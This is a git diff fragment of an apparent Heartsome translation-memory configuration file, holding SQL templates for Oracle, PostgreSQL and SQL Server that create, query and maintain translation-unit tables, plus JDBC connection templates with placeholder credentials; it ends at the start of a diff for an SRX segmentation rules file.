ATUID,ALANG,BLANG,ASEG,BSEG,APURETEXT,BPURETEXT,ACLIENTID,BCLIENTID,ACREATIONID,BCREATIONID,ACREATIONDATE,BCREATIONDATE,ACHANGEID,BCHANGEID,ACHANGEDATE,BCHANGEDATE,APROJECTREF,BPROJECTREF,AJOBREF,BJOBREF,ROWNUM R FROM +(SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM __DATABASE_NAME___TUV A LEFT JOIN __DATABASE_NAME___TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE REGEXP_LIKE(?,?) AND A.LANG=? ORDER BY __ORDERBY__)) +WHERE R >=? AND R < ? + SELECT * FROM (SELECT ATUID,ALANG,BLANG,CLANG,ASEG,BSEG,CSEG,APURETEXT,BPURETEXT,CPURETEXT,ACLIENTID,BCLIENTID,CCLIENTID,ACREATIONID,BCREATIONID,CCREATIONID,ACREATIONDATE,BCREATIONDATE,CCREATIONDATE,ACHANGEID,BCHANGEID,CCHANGEID,ACHANGEDATE,BCHANGEDATE,CCHANGEDATE,APROJECTREF,BPROJECTREF,CPROJECTREF,AJOBREF,BJOBREF,CJOBREF,ROWNUM R FROM +(SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM __DATABASE_NAME___TUV A LEFT JOIN __DATABASE_NAME___TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN __DATABASE_NAME___TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE REGEXP_LIKE(?,?) AND A.LANG=? ORDER BY __ORDERBY__)) +WHERE R >=? AND R < ? + SELECT COUNT(TUID) FROM __DATABASE_NAME___TUV A WHERE LANG=? AND (__CONDITION__) + SELECT * FROM (SELECT ATUID,ALANG,BLANG,ASEG,BSEG,APURETEXT,BPURETEXT,ACLIENTID,BCLIENTID,ACREATIONID,BCREATIONID,ACREATIONDATE,BCREATIONDATE,ACHANGEID,BCHANGEID,ACHANGEDATE,BCHANGEDATE,APROJECTREF,BPROJECTREF,AJOBREF,BJOBREF,ROWNUM R FROM +(SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM __DATABASE_NAME___TUV A LEFT JOIN __DATABASE_NAME___TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.LANG=? AND (__CONDITION__) ORDER BY __ORDERBY__)) +WHERE R >=? AND R < ? + SELECT * FROM (SELECT ATUID,ALANG,BLANG,CLANG,ASEG,BSEG,CSEG,APURETEXT,BPURETEXT,CPURETEXT,ACLIENTID,BCLIENTID,CCLIENTID,ACREATIONID,BCREATIONID,CCREATIONID,ACREATIONDATE,BCREATIONDATE,CCREATIONDATE,ACHANGEID,BCHANGEID,CCHANGEID,ACHANGEDATE,BCHANGEDATE,CCHANGEDATE,APROJECTREF,BPROJECTREF,CPROJECTREF,AJOBREF,BJOBREF,CJOBREF,ROWNUM R FROM +(SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM __DATABASE_NAME___TUV A LEFT JOIN __DATABASE_NAME___TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN __DATABASE_NAME___TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.LANG=? AND (__CONDITION__) ORDER BY __ORDERBY__)) +WHERE R >=? AND R < ? + SELECT LANG, SEG, PURETEXT, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM + __DATABASE_NAME___TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG, SEG, PURETEXT FROM + __DATABASE_NAME___TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG FROM __DATABASE_NAME___TUV + SELECT CONTENT FROM __DATABASE_NAME___TU_PROP WHERE PROPTYPE='projectref' + SELECT CONTENT FROM __DATABASE_NAME___TU_PROP WHERE PROPTYPE='jobref' + SELECT CONTENT FROM __DATABASE_NAME___TU_PROP WHERE PROPTYPE='jobdate' + SELECT CONTENT FROM __DATABASE_NAME___TU_PROP WHERE PROPTYPE='jobowner' + SELECT LANG FROM __DATABASE_NAME___TUV WHERE TUID=? + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM __DATABASE_NAME___TUV L LEFT JOIN __DATABASE_NAME___TUV R ON L.TUID=R.TUID AND R.LANG=? WHERE L.LANG=? AND INSTR(?,LOWER(L.PURETEXT)) > 0 AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM __DATABASE_NAME___TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT LIKE 'HS-Flag' + SELECT * FROM __DATABASE_NAME___TUV WHERE TUID IN (?) + SELECT CONTENT FROM __DATABASE_NAME___TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM __DATABASE_NAME___TU_PROP WHERE TUID IN (?) + DELETE FROM __DATABASE_NAME___TUV WHERE TUID IN (?) + DELETE FROM __DATABASE_NAME___TU WHERE TUID IN (?) + DELETE FROM __DATABASE_NAME___TU_PROP WHERE TUID IN (?) + DELETE FROM __DATABASE_NAME___TU_NOTE WHERE TUID IN (?) + DELETE FROM __DATABASE_NAME___MATRIX___LANG__ WHERE TUID IN (?) + + + + + + org.postgresql.Driver + jdbc:postgresql://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + __USER__ + __PASSWORD__ + UTF-8 + + CREATE DATABASE __DATABASE_NAME__ + + CREATE TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + CREATE DATABASE __DATABASE_NAME__ + + CREATE TABLE TU ( + TUID VARCHAR(30) NOT NULL, + CREATIONID VARCHAR(30), + CREATIONDATE TIMESTAMP, + CHANGEID VARCHAR(30), + CHANGEDATE TIMESTAMP, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + PRIMARY KEY (TUID) + ); + CREATE TABLE TUV ( + TUID VARCHAR(30) NOT NULL, + LANG VARCHAR(6) NOT NULL, + SEG TEXT NOT NULL, + PURETEXT TEXT, + CLIENTID TEXT, + CREATIONID VARCHAR(30), + CREATIONDATE TIMESTAMP, + CHANGEID VARCHAR(30), + CHANGEDATE TIMESTAMP, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + HASH INTEGER NOT NULL, + TUVTEXT TEXT NOT NULL, + PREVIOUSHASH TEXT, + NEXTHASH TEXT, + PROJECTREF VARCHAR(256), + JOBREF VARCHAR(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES TU(TUID) + ); + CREATE INDEX I_TUV_HASH ON TUV(HASH) + CREATE TABLE TU_NOTE ( + TUID VARCHAR(30) NOT NULL, + NOTEID VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (tuid, NOTEID) + ); + CREATE TABLE TU_PROP ( + TUID VARCHAR(30) NOT NULL, + PROPTYPE VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (TUID, PROPTYPE) + ); + CREATE TABLE LANGS ( + LANG VARCHAR(6) NOT NULL + ); + + + DROP TABLE TU_PROP + DROP TABLE TU_NOTE + DROP TABLE TUV + DROP TABLE TU + DROP TABLE LANGS + + SELECT LANG FROM LANGS + CREATE TABLE MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY (TUID,NGRAM) + ); + + CREATE INDEX I_MATRIX___LANG___SEGSIZE ON MATRIX___LANG__(SEGSIZE) + + DROP TABLE MATRIX___LANG__ + INSERT INTO LANGS (LANG) VALUES (?); + DROP DATABASE __DATABASE_NAME__ + INSERT INTO MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES (?,?,?); + SELECT TUID FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) AND SEGSIZE >=? AND SEGSIZE<=? + SELECT TUID FROM TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID,NGRAM FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? AND PREVIOUSHASH=? AND NEXTHASH=? + DELETE FROM MATRIX___LANG__ WHERE TUID=? + INSERT INTO TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION) VALUES (?,?,?,?,?,?,?); + UPDATE TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU WHERE TUID=? + INSERT INTO TUV (TUID, LANG, SEG, PURETEXT, CLIENTID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, HASH, + TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM TUV WHERE TUID=? AND LANG=? + DELETE FROM TU WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT=? + DELETE FROM TU_NOTE WHERE TUID=? + INSERT INTO TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU + SELECT LANG, SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? + SELECT CONTENT FROM TU_NOTE WHERE TUID=? + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID=? + SELECT COUNT(1) FROM TUV A WHERE LANG=? AND ? ~ ? + SELECT A.TUID,A.LANG,B.LANG,A.SEG,B.SEG,A.PURETEXT,B.PURETEXT,A.CLIENTID,B.CLIENTID,A.CREATIONID,B.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,A.CHANGEID,B.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,A.JOBREF,B.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE ? ~ ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ? OFFSET ? + SELECT A.TUID,A.LANG,B.LANG,C.LANG,A.SEG,B.SEG,C.SEG,A.PURETEXT,B.PURETEXT,C.PURETEXT,A.CLIENTID,B.CLIENTID,C.CLIENTID,A.CREATIONID,B.CREATIONID,C.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,C.CREATIONDATE,A.CHANGEID,B.CHANGEID,C.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,C.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,C.PROJECTREF,A.JOBREF,B.JOBREF,C.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE ? ~ ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ? OFFSET ? + SELECT COUNT(1) FROM TUV A WHERE LANG=? AND (__CONDITION__) + SELECT A.TUID,A.LANG,B.LANG,A.SEG,B.SEG,A.PURETEXT,B.PURETEXT,A.CLIENTID,B.CLIENTID,A.CREATIONID,B.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,A.CHANGEID,B.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,A.JOBREF,B.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.LANG = ? AND ( __CONDITION__) ORDER BY __ORDERBY__ LIMIT ? OFFSET ? + SELECT A.TUID,A.LANG,B.LANG,C.LANG,A.SEG,B.SEG,C.SEG,A.PURETEXT,B.PURETEXT,C.PURETEXT,A.CLIENTID,B.CLIENTID,C.CLIENTID,A.CREATIONID,B.CREATIONID,C.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,C.CREATIONDATE,A.CHANGEID,B.CHANGEID,C.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,C.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,C.PROJECTREF,A.JOBREF,B.JOBREF,C.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ LIMIT ? OFFSET ? + SELECT LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG, SEG, PURETEXT FROM TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT DISTINCT LANG FROM TUV + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='projectref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobdate' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobowner' ORDER BY 1 + SELECT LANG FROM TUV WHERE TUID=? + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM TUV L LEFT JOIN TUV R ON L.TUID=R.TUID AND R.LANG=? WHERE L.LANG=? AND POSITION(LOWER(L.PURETEXT) IN ?) > 0 AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT='HS-Flag' + SELECT * FROM TUV WHERE TUID IN (?) + SELECT CONTENT FROM TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TUV WHERE TUID IN (?) + DELETE FROM TU WHERE TUID IN (?) + DELETE FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TU_NOTE WHERE TUID IN (?) + DELETE FROM MATRIX___LANG__ WHERE TUID IN (?) + + + + + + net.sourceforge.jtds.jdbc.Driver + jdbc:jtds:sqlserver://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + __USER__ + __PASSWORD__ + __INSTANCE__ + + CREATE DATABASE __DATABASE_NAME__ + + CREATE TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + CREATE DATABASE __DATABASE_NAME__ + + CREATE TABLE TU ( + TUID VARCHAR(30) NOT NULL, + CREATIONID NVARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID NVARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + PRIMARY KEY (TUID) + ); + CREATE TABLE TUV ( + TUID VARCHAR(30) NOT NULL, + LANG VARCHAR(6) NOT NULL, + SEG NTEXT NOT NULL, + PURETEXT NTEXT, + CLIENTID NTEXT, + CREATIONID NVARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID NVARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + HASH INTEGER NOT NULL, + TUVTEXT NTEXT NOT NULL, + PREVIOUSHASH TEXT, + NEXTHASH TEXT, + PROJECTREF VARCHAR(256), + JOBREF VARCHAR(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES TU(TUID) + ); + CREATE INDEX I_TUV_LANG ON TUV(LANG) + CREATE INDEX I_TUV_HASH ON TUV(HASH) + CREATE TABLE TU_NOTE ( + TUID VARCHAR(30) NOT NULL, + NOTEID VARCHAR(30) NOT NULL, + CONTENT NTEXT, + PRIMARY KEY (tuid, NOTEID) + ); + CREATE TABLE TU_PROP ( + TUID VARCHAR(30) NOT NULL, + PROPTYPE VARCHAR(30) NOT NULL, + CONTENT NTEXT, + PRIMARY KEY (TUID, PROPTYPE) + ); + CREATE TABLE LANGS ( + LANG VARCHAR(6) NOT NULL + ); + + + DROP TABLE TU_PROP + DROP TABLE TU_NOTE + DROP TABLE TUV + DROP TABLE TU + DROP TABLE LANGS + + SELECT LANG FROM LANGS + CREATE TABLE MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY (TUID,NGRAM) + ); + + CREATE INDEX I_MATRIX___LANG___SEGSIZE ON MATRIX___LANG__(SEGSIZE) + CREATE INDEX I_MATRIX___LANG___NGRAMSEGSIZE ON MATRIX___LANG__(NGRAM,SEGSIZE) + + DROP TABLE MATRIX___LANG__ + INSERT INTO LANGS (LANG) VALUES (?); + DROP DATABASE __DATABASE_NAME__ + INSERT INTO MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES + (?,?,?); + SELECT TUID FROM MATRIX___LANG__ WHERE SEGSIZE >=? AND SEGSIZE<=? AND NGRAM IN (__SET__) + SELECT TUID FROM TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID,NGRAM FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, + CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM + TUV WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? AND PREVIOUSHASH LIKE ? AND NEXTHASH LIKE ? + DELETE FROM MATRIX___LANG__ WHERE TUID=? + INSERT INTO TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION) VALUES (?,?,?,?,?,?,?); + UPDATE TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION FROM TU WHERE TUID=? + INSERT INTO TUV (TUID, LANG, SEG, PURETEXT, CLIENTID, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, HASH, + TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM TUV WHERE TUID=? AND LANG=? + DELETE FROM TU WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT LIKE ? + DELETE FROM TU_NOTE WHERE TUID=? + INSERT INTO TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU + SELECT LANG, SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? + SELECT CONTENT FROM TU_NOTE WHERE TUID=? + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID=? + SELECT LANG, SEG, PURETEXT, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM + TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG, SEG, PURETEXT FROM TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG FROM TUV + SELECT CONTENT FROM TU_PROP WHERE PROPTYPE='projectref' + SELECT CONTENT FROM TU_PROP WHERE PROPTYPE='jobref' + SELECT CONTENT FROM TU_PROP WHERE PROPTYPE='jobdate' + SELECT CONTENT FROM TU_PROP WHERE PROPTYPE='jobowner' + SELECT LANG FROM TUV WHERE TUID=? + SELECT TUID,PURETEXT FROM TUV WHERE LANG=? + SELECT A.TUID,A.LANG,B.LANG,A.SEG,B.SEG,A.PURETEXT,B.PURETEXT,A.CLIENTID,B.CLIENTID,A.CREATIONID,B.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,A.CHANGEID,B.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,A.JOBREF,B.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.TUID=? AND A.LANG=? ORDER BY __ORDERBY__ + SELECT A.TUID,A.LANG,B.LANG,C.LANG,A.SEG,B.SEG,C.SEG,A.PURETEXT,B.PURETEXT,C.PURETEXT,A.CLIENTID,B.CLIENTID,C.CLIENTID,A.CREATIONID,B.CREATIONID,C.CREATIONID,A.CREATIONDATE,B.CREATIONDATE,C.CREATIONDATE,A.CHANGEID,B.CHANGEID,C.CHANGEID,A.CHANGEDATE,B.CHANGEDATE,C.CHANGEDATE,A.PROJECTREF,B.PROJECTREF,C.PROJECTREF,A.JOBREF,B.JOBREF,C.JOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.TUID=? AND A.LANG=? ORDER BY __ORDERBY__ + SELECT COUNT(1) FROM TUV A WHERE LANG=? AND (__CONDITION__) + SELECT * FROM (SELECT TOP __TOP1__ * FROM (SELECT TOP __TOP2__ A.TUID AS ATUID, A.LANG AS ALANG, B.LANG AS BLANG,A.SEG AS ASEG, B.SEG AS BSEG, A.PURETEXT AS APURETEXT,B.PURETEXT AS BPURETEXT, A.CLIENTID AS ACLIENTID,B.CLIENTID AS BCLIENTID, A.CREATIONID AS ACREATIONID,B.CREATIONID AS BCREATIONID,A.CREATIONDATE AS ACREATIONDATE,B.CREATIONDATE AS BCREATIONDATE, A.CHANGEID AS ACHANGEID,B.CHANGEID AS BCHANGEID, A.CHANGEDATE AS ACHANGEDATE,B.CHANGEDATE AS BCHANGEDATE,A.PROJECTREF AS APROJECTREF,B.PROJECTREF AS BPROJECTREF, A.JOBREF AS AJOBREF,B.JOBREF AS BJOBREF FROM TUV A LEFT OUTER JOIN TUV B ON A.TUID = B.TUID AND B.LANG = '__LANG1__' WHERE (A.LANG = '__LANG__') AND ( __CONDITION__ ) ORDER BY __ORDERBY1__ ) DERIVEDTBL ORDER BY __ORDERBY2__ ) DERIVEDTBL ORDER BY __ORDERBY1__ + SELECT * FROM (SELECT TOP __TOP1__ * FROM (SELECT TOP __TOP2__ A.TUID AS ATUID, A.LANG AS ALANG, B.LANG AS BLANG,C.LANG AS CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT OUTER JOIN TUV B ON A.TUID = B.TUID AND B.LANG = '__LANG1__' LEFT OUTER JOIN TUV C ON A.TUID = C.TUID AND C.LANG = '__LANG2__' WHERE (A.LANG = '__LANG__') AND ( __CONDITION__ ) ORDER BY __ORDERBY1__ ) DERIVEDTBL ORDER BY __ORDERBY2__ ) DERIVEDTBL ORDER BY __ORDERBY1__ + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM TUV L LEFT JOIN TUV R ON L.TUID = R.TUID AND R.LANG=? WHERE L.LANG=? AND PATINDEX(STUFF('%%',2,0,CAST(L.PURETEXT AS NVARCHAR(4000))),?) > 0 AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT LIKE 'HS-Flag' + SELECT * FROM TUV WHERE TUID IN (?) + SELECT CONTENT FROM TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TUV WHERE TUID IN (?) + DELETE FROM TU WHERE TUID IN (?) + DELETE FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TU_NOTE WHERE TUID IN (?) + DELETE FROM MATRIX___LANG__ WHERE TUID IN (?) + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/default_rules.srx b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/default_rules.srx new file mode 100644 index 0000000..c9130b9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/default_rules.srx @@ -0,0 +1,8394 @@ + + + +
    + + + +
